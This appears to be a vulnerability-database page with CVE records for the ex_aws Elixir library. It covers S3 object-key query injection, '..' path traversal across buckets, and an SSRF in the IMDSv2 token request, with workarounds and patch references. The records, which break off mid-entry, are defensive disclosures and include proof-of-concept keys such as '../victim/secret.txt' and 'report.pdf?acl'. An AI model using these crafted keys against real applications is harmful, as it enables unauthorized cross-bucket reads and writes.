"title": "S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eBefore constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain \u003ccode\u003e?\u003c/code\u003e or \u003ccode\u003e#\u003c/code\u003e) so that no reserved character reaches the URL builder unencoded.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain `?` or `#`) so that no reserved character reaches the URL builder unencoded."
}
],
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain ? or #) so that no reserved character reaches the URL builder unencoded."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: \u003ccode\u003ekey = filename \u0026lt;\u0026gt; \".txt\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eIt fetches the object through the public entry point: \u003ccode\u003eExAws.S3.get_object(bucket, key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign filename \u003ccode\u003eexport\u003c/code\u003e yields the key \u003ccode\u003eexport.txt\u003c/code\u003e and the request \u003ccode\u003eGET /victim-bucket/export.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the filename \u003ccode\u003eexport.dump?\u003c/code\u003e, producing the key \u003ccode\u003eexport.dump?.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws sends \u003ccode\u003eGET /victim-bucket/export.dump\u003c/code\u003e with the query string \u003ccode\u003e.txt\u003c/code\u003e: the application\u0027s \u003ccode\u003e.txt\u003c/code\u003e suffix is moved into the query and dropped from the key.\u003c/li\u003e\n\u003cli\u003eS3 returns the bytes of \u003ccode\u003eexport.dump\u003c/code\u003e, an object of a different type the application never meant to expose.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: `key = filename \u003c\u003e \".txt\"`.\n2. It fetches the object through the public entry point: `ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config)`.\n3. A benign filename `export` yields the key `export.txt` and the request `GET /victim-bucket/export.txt`.\n4. The attacker supplies the filename `export.dump?`, producing the key `export.dump?.txt`.\n5. ex_aws sends `GET /victim-bucket/export.dump` with the query string `.txt`: the application\u0027s `.txt` suffix is moved into the query and dropped from the key.\n6. S3 returns the bytes of `export.dump`, an object of a different type the application never meant to expose."
}
],
"value": "* An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: key = filename \u003c\u003e \".txt\".\n* It fetches the object through the public entry point: ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config).\n* A benign filename export yields the key export.txt and the request GET /victim-bucket/export.txt.\n* The attacker supplies the filename export.dump?, producing the key export.dump?.txt.\n* ex_aws sends GET /victim-bucket/export.dump with the query string .txt: the application\u0027s .txt suffix is moved into the query and dropped from the key.\n* S3 returns the bytes of export.dump, an object of a different type the application never meant to expose."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. URL assembly.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e inserts the operation path (bucket and object key) verbatim, and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without percent-encoding. A literal \u003ccode\u003e?\u003c/code\u003e in the object key passes straight into the flattened URL string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Path/query split.\u003c/strong\u003e For S3, \u003ccode\u003esanitize/2\u003c/code\u003e recovers the path and query by splitting that string on the first \u003ccode\u003e?\u003c/code\u003e. \u003ccode\u003eget_path/2\u003c/code\u003e keeps only the portion before the \u003ccode\u003e?\u003c/code\u003e as the path and runs it through \u003ccode\u003euri_encode\u003c/code\u003e. Everything after the \u003ccode\u003e?\u003c/code\u003e becomes the query string and is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signing and transmission.\u003c/strong\u003e Because the split happens before \u003ccode\u003euri_encode\u003c/code\u003e runs, the path encoder never sees the \u003ccode\u003e?\u003c/code\u003e. The resulting request is signed and sent as built:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ethe key \u003ccode\u003ereport.pdf?acl\u003c/code\u003e is sent as \u003ccode\u003eGET /report.pdf?acl\u003c/code\u003e, promoting \u003ccode\u003e?acl\u003c/code\u003e from key bytes into a live S3 sub-resource parameter;\u003c/li\u003e\n\u003cli\u003ethe key \u003ccode\u003esecret?\u0026lt;suffix\u0026gt;\u003c/code\u003e loses everything after the \u003ccode\u003e?\u003c/code\u003e (for example an application-appended \u003ccode\u003e.json\u003c/code\u003e extension), so the request addresses a different object than the one the caller constructed.\u003c/li\u003e\n\u003c/ul\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. URL assembly.** `ExAws.Request.Url.build/2` inserts the operation path (bucket and object key) verbatim, and `URI.to_string/1` emits it without percent-encoding. A literal `?` in the object key passes straight into the flattened URL string.\n\n**2. Path/query split.** For S3, `sanitize/2` recovers the path and query by splitting that string on the first `?`. `get_path/2` keeps only the portion before the `?` as the path and runs it through `uri_encode`. Everything after the `?` becomes the query string and is re-inserted without any encoding.\n\n**3. Signing and transmission.** Because the split happens before `uri_encode` runs, the path encoder never sees the `?`. The resulting request is signed and sent as built:\n\n- the key `report.pdf?acl` is sent as `GET /report.pdf?acl`, promoting `?acl` from key bytes into a live S3 sub-resource parameter;\n- the key `secret?\u003csuffix\u003e` loses everything after the `?` (for example an application-appended `.json` extension), so the request addresses a different object than the one the caller constructed."
}
],
"value": "1. URL assembly. ExAws.Request.Url.build/2 inserts the operation path (bucket and object key) verbatim, and URI.to_string/1 emits it without percent-encoding. A literal ? in the object key passes straight into the flattened URL string.\n\n2. Path/query split. For S3, sanitize/2 recovers the path and query by splitting that string on the first ?. get_path/2 keeps only the portion before the ? as the path and runs it through uri_encode. Everything after the ? becomes the query string and is re-inserted without any encoding.\n\n3. Signing and transmission. Because the split happens before uri_encode runs, the path encoder never sees the ?. The resulting request is signed and sent as built:\n\n* the key report.pdf?acl is sent as GET /report.pdf?acl, promoting ?acl from key bytes into a live S3 sub-resource parameter;\n* the key secret?\u003csuffix\u003e loses everything after the ? (for example an application-appended .json extension), so the request addresses a different object than the one the caller constructed."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62269",
"datePublished": "2026-11-24T11:40:27.176Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T11:40:27.176Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59698 (GCVE-0-2026-59698)
Vulnerability from nvd – Published: 2026-11-24 11:45 – Updated: 2026-11-24 11:45
VLAI
EPSS
VEX
Title
ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape
Summary
Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.
When ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application's own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.
Only the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials' permissions.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-23 - Relative Path Traversal
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59698.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59698 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/b1116f9f9… | patch |
Impacted products
Date Public
2026-11-24 11:45
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e build the request without this client-side normalization and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with `virtual_host: true` build the request without this client-side normalization and are not affected."
}
],
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with virtual_host: true build the request without this client-side normalization and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:45:29.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRelative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\u003c/p\u003e\n\u003cp\u003eWhen ex_aws builds a path-style S3 request, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e joins the bucket name and the object key into a single path string and then normalizes it, collapsing \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading \u003ccode\u003e../\u003c/code\u003e in the object key pops the bucket off the path. With bucket \u003ccode\u003emybucket\u003c/code\u003e and a key of \u003ccode\u003e../victim/secret.txt\u003c/code\u003e, the combined \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e normalizes to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, so the request (signed with the application\u0027s own credentials) is sent to bucket \u003ccode\u003evictim\u003c/code\u003e. The same mechanism collapses \u003ccode\u003e../\u003c/code\u003e within a key, defeating any isolation an application enforces by prepending a trusted prefix.\u003c/p\u003e\n\u003cp\u003eOnly the default path-style configuration is affected; requests built with \u003ccode\u003evirtual_host: true\u003c/code\u003e do not run this normalization. Because S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` joins the bucket name and the object key into a single path string and then normalizes it, collapsing `.` and `..` segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading `../` in the object key pops the bucket off the path. With bucket `mybucket` and a key of `../victim/secret.txt`, the combined `/mybucket/../victim/secret.txt` normalizes to `/victim/secret.txt`, so the request (signed with the application\u0027s own credentials) is sent to bucket `victim`. The same mechanism collapses `../` within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with `virtual_host: true` do not run this normalization. Because S3 treats object keys as opaque and does not resolve `..` itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application\u0027s own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-139",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-139 Relative Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-23",
"description": "CWE-23 Relative Path Traversal",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:45:30.199Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-hrw3-2h5r-fhxx"
},
{
"name": "EEF CNA record for CVE-2026-59698",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59698.html"
},
{
"name": "OSV record EEF-CVE-2026-59698",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59698"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit b1116f9 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eConfigure the ex_aws S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain \u003ccode\u003e..\u003c/code\u003e segments before passing them to ex_aws.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Configure the ex_aws S3 client with `virtual_host: true`, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain `..` segments before passing them to ex_aws."
}
],
"value": "Configure the ex_aws S3 client with virtual_host: true, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain .. segments before passing them to ex_aws."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application isolates data in its own bucket \u003ccode\u003emybucket\u003c/code\u003e and builds the object key from user input, using the default path-style S3 configuration.\u003c/li\u003e\n\u003cli\u003eIt issues the request through the public API: \u003ccode\u003eExAws.S3.get_object(\"mybucket\", key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the key \u003ccode\u003e../victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws joins and normalizes the path, so \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request is signed with the application\u0027s credentials and sent to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, addressing bucket \u003ccode\u003evictim\u003c/code\u003e instead of \u003ccode\u003emybucket\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application isolates data in its own bucket `mybucket` and builds the object key from user input, using the default path-style S3 configuration.\n2. It issues the request through the public API: `ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config)`.\n3. The attacker supplies the key `../victim/secret.txt`.\n4. ex_aws joins and normalizes the path, so `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`.\n5. The request is signed with the application\u0027s credentials and sent to `/victim/secret.txt`, addressing bucket `victim` instead of `mybucket`."
}
],
"value": "* An application isolates data in its own bucket mybucket and builds the object key from user input, using the default path-style S3 configuration.\n* It issues the request through the public API: ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config).\n* The attacker supplies the key ../victim/secret.txt.\n* ex_aws joins and normalizes the path, so /mybucket/../victim/secret.txt becomes /victim/secret.txt.\n* The request is signed with the application\u0027s credentials and sent to /victim/secret.txt, addressing bucket victim instead of mybucket."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Path assembly.\u003c/strong\u003e In the default path-style clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e (taken whenever \u003ccode\u003evirtual_host: true\u003c/code\u003e is not set), the bucket and the operation path are concatenated and then normalized: \u003ccode\u003e\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u0026gt; expand_dot()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Normalization across the bucket boundary.\u003c/strong\u003e \u003ccode\u003eexpand_dot/1\u003c/code\u003e and \u003ccode\u003edo_expand_dot/2\u003c/code\u003e resolve \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a \u003ccode\u003e..\u003c/code\u003e in the object key pops it: \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e. The only guard, the root clamp \u003ccode\u003edo_expand_dot([\"..\" | t], [])\u003c/code\u003e, stops \u003ccode\u003e..\u003c/code\u003e from climbing above \u003ccode\u003e/\u003c/code\u003e but does not protect the bucket segment. The same collapse lets \u003ccode\u003e../\u003c/code\u003e escape a trusted key prefix within a bucket.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request.\u003c/strong\u003e The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself; the traversal exists only because the client normalizes the path. The \u003ccode\u003evirtual_host\u003c/code\u003e clauses do not normalize, so behavior differs between configurations.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Path assembly.** In the default path-style clause of `ExAws.Operation.S3.add_bucket_to_path/2` (taken whenever `virtual_host: true` is not set), the bucket and the operation path are concatenated and then normalized: `\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot()`.\n\n**2. Normalization across the bucket boundary.** `expand_dot/1` and `do_expand_dot/2` resolve `.` and `..` segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a `..` in the object key pops it: `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`. The only guard, the root clamp `do_expand_dot([\"..\" | t], [])`, stops `..` from climbing above `/` but does not protect the bucket segment. The same collapse lets `../` escape a trusted key prefix within a bucket.\n\n**3. Signed request.** The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve `..` itself; the traversal exists only because the client normalizes the path. The `virtual_host` clauses do not normalize, so behavior differs between configurations."
}
],
"value": "1. Path assembly. In the default path-style clause of ExAws.Operation.S3.add_bucket_to_path/2 (taken whenever virtual_host: true is not set), the bucket and the operation path are concatenated and then normalized: \"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot().\n\n2. Normalization across the bucket boundary. expand_dot/1 and do_expand_dot/2 resolve . and .. segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a .. in the object key pops it: /mybucket/../victim/secret.txt becomes /victim/secret.txt. The only guard, the root clamp do_expand_dot([\"..\" | t], []), stops .. from climbing above / but does not protect the bucket segment. The same collapse lets ../ escape a trusted key prefix within a bucket.\n\n3. Signed request. The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve .. itself; the traversal exists only because the client normalizes the path. The virtual_host clauses do not normalize, so behavior differs between configurations."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59698",
"datePublished": "2026-11-24T11:45:30.199Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:45:30.199Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59697 (GCVE-0-2026-59697)
Vulnerability from nvd – Published: 2026-11-24 11:43 – Updated: 2026-11-24 11:43
VLAI
EPSS
VEX
Title
IMDSv2 metadata token request follows HTTP redirects in ex_aws
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).
This vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.
ex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host's response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.
This issue affects ex_aws: from 2.3.0 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59697.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59697 | related |
| https://github.com/ex-aws/ex_aws/commit/4d7923c16… | related |
| https://github.com/ex-aws/ex_aws/commit/9fcc3605c… | patch |
Impacted products
Date Public
2026-11-24 11:43
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "9fcc3605c7a0ecf8e205a72c50de3ced72befed0",
"status": "affected",
"version": "4d7923c16f613cc2bade2ed325d444bba0bc7234",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:43:15.000Z",
